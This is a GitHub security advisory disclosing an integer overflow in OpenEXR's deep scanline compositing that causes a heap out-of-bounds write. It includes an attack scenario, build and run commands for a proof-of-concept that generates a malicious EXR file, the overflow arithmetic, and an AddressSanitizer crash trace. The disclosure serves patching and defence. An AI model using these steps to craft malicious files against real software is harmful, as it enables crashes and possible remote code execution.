Skip to content

OpenEXR's CompositeDeepScanLine integer-overflow leads to heap OOB write

High severity GitHub Reviewed Published Mar 2, 2026 in AcademySoftwareFoundation/openexr • Updated Mar 4, 2026

Package

pip OpenEXR (pip)

Affected versions

>= 2.3.0, < 3.2.6
>= 3.3.0, < 3.3.8
>= 3.4.0, < 3.4.6

Patched versions

3.2.6
3.3.8
3.4.6

Description

Summary

Function: CompositeDeepScanLine::readPixels, reachable from high-level multipart deep read flows (MultiPartInputFile + DeepScanLineInputPart + CompositeDeepScanLine).

Vulnerable lines (src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp):

  • total_sizes[ptr] += counts[j][ptr]; (line ~511)
  • overall_sample_count += total_sizes[ptr]; (line ~514)
  • samples[channel].resize (overall_sample_count); (line ~535)

Impact: 32-bit sample-count accumulation wrap leads to undersized allocation, then decode writes with true sample volume, causing heap OOB write in generic_unpack_deep_pointers (src/lib/OpenEXRCore/unpack.c:1374) (DoS/Crash, memory corruption/RCE).

Attack scenario:

  • Attacker provides multipart deep EXR with many parts and very large sample counts per pixel.
  • Uses compression (RLE/ZIPS) to keep file size relatively small vs decode pressure.
  • The overflow happens in composite sample accounting (unsigned int), while pointer progression for decode uses larger counters and reaches out-of-bounds.

Tested on: OpenEXR 4.0.0-dev (commit 83449669402080874b25ff1fa740649a9e6ea064) but this code has existed since v2.3.0

Steps to reproduce

composite_deepscanline_poc_bundle.patch

PoC files used:

  • Writer/generator: poc/composite_deep_scanline_e2e_compressed_poc.cpp
  • Minimal high-level reader harness: poc/simple_exr_reader.cpp

The reader harness intentionally mimics realistic app behavior: open EXR, iterate parts, select DEEPSCANLINE, add sources to CompositeDeepScanLine, bind a normal FrameBuffer, then call readPixels.

Build with ASAN/UBSAN:

cmake -S . -B build-asan \
  -DOPENEXR_BUILD_POC=ON \
  -DCMAKE_BUILD_TYPE=RelWithDebInfo \
  -DCMAKE_C_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
  -DCMAKE_CXX_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
  -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \
  -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined'

cmake --build build-asan --target composite_writer simple_exr_reader -j

Generate malicious file (decode-path focused profile):

ASAN_OPTIONS=detect_leaks=0 timeout 180s \
  ./build-asan/poc/composite_writer \
  --profile low-ram \
  --file /tmp/composite_decode_focus.exr

Trigger:

ASAN_OPTIONS=detect_leaks=0 timeout 30s \
  ./build-asan/poc/simple_exr_reader /tmp/composite_decode_focus.exr

ASAN builds are slower. If needed, a non-sanitized build + debugger is faster for iteration.

Example runs

Writer (abbrev):

❯ ./build-asan/poc/composite_writer
exploit math:
  benign samples                 : 300
  malicious parts                : 86
  malicious samples per part     : 50000000
  true total samples             : 4300000300
  uint32 overflow reached        : yes
  wrapped uint32 total           : 5033004
  composite Z/A alloc from wrap  : 40264032 bytes (38.40 MiB)
  per-part unpacked sample bytes : 300000000 bytes (286.10 MiB)
  min parts to overflow (current benign/samples): 86
writing compressed multipart deep EXR: /tmp/composite_deep_scanline_e2e_compressed.exr
writing donor malicious part (50000000 samples)
copying malicious part 1/86 from donor chunk
...
file size: 26112896 bytes (24.90 MiB)

Reader ASAN crash:

❯ ./build-asan/poc/simple_exr_reader
reading /tmp/composite_overflow_optimized.exr with 16 deepscanline parts
=================================================================
==175024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed1a55d90b0 at pc 0x7ed1da7854f7 bp 0x7ffe8c83a680 sp 0x7ffe8c83a670
WRITE of size 4 at 0x7ed1a55d90b0 thread T0
    #0 0x7ed1da7854f6 in generic_unpack_deep_pointers /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374
    #1 0x7ed1da7623e9 in exr_decoding_run /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:664
    #2 0x7ed1dbcb153b in run_decode /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:816
    #3 0x7ed1dbcc597f in Imf_4_0::DeepScanLineInputFile::Data::readData(Imf_4_0::DeepFrameBuffer const&, int, int, bool) /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:568
    #4 0x7ed1dbc01ca4 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:576
    #5 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88
    #6 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #7 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #8 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)

0x7ed1a55d90b0 is located 0 bytes after 820132016-byte region [0x7ed1747b5800,0x7ed1a55d90b0)
allocated by thread T0 here:
    #0 0x7ed1dd0fe548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95
    #1 0x7ed1dbc29600 in std::__new_allocator<float>::allocate(unsigned long, void const*) /usr/include/c++/13/bits/new_allocator.h:151
    #2 0x7ed1dbc29600 in std::allocator_traits<std::allocator<float> >::allocate(std::allocator<float>&, unsigned long) /usr/include/c++/13/bits/alloc_traits.h:482
    #3 0x7ed1dbc29600 in std::_Vector_base<float, std::allocator<float> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:381
    #4 0x7ed1dbc29600 in std::_Vector_base<float, std::allocator<float> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:378
    #5 0x7ed1dbc29600 in std::vector<float, std::allocator<float> >::_M_default_append(unsigned long) /usr/include/c++/13/bits/vector.tcc:663
    #6 0x7ed1dbc00184 in std::vector<float, std::allocator<float> >::resize(unsigned long) /usr/include/c++/13/bits/stl_vector.h:1016
    #7 0x7ed1dbc00184 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:535
    #8 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88
    #9 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #10 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #11 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 in generic_unpack_deep_pointers
Shadow bytes around the buggy address:
  0x7ed1a55d8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ed1a55d8e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ed1a55d8f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ed1a55d8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ed1a55d9000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7ed1a55d9080: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==175024==ABORTING

Root cause analysis

In CompositeDeepScanLine::readPixels:

  1. Per-pixel totals are accumulated in vector<unsigned int> total_sizes.
  2. For attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32.
  3. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count).
  4. Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer.

Allocation is based on a tiny wrapped value, but decode writes correspond to the true large sample volume.

Impact

Heap OOB write during decode. This is at minimum a reliable crash/DoS. As heap corruption, this bug could be used for potential remote code execution.

References

@cary-ilm cary-ilm published to AcademySoftwareFoundation/openexr Mar 2, 2026
Published to the GitHub Advisory Database Mar 2, 2026
Reviewed Mar 2, 2026
Published by the National Vulnerability Database Mar 3, 2026
Last updated Mar 4, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction Active
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(7th percentile)

Weaknesses

Out-of-bounds Write

The product writes data past the end, or before the beginning, of the intended buffer. Learn more on MITRE.

CVE ID

CVE-2026-27622

GHSA ID

GHSA-cr4v-6jm6-4963

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.
⚡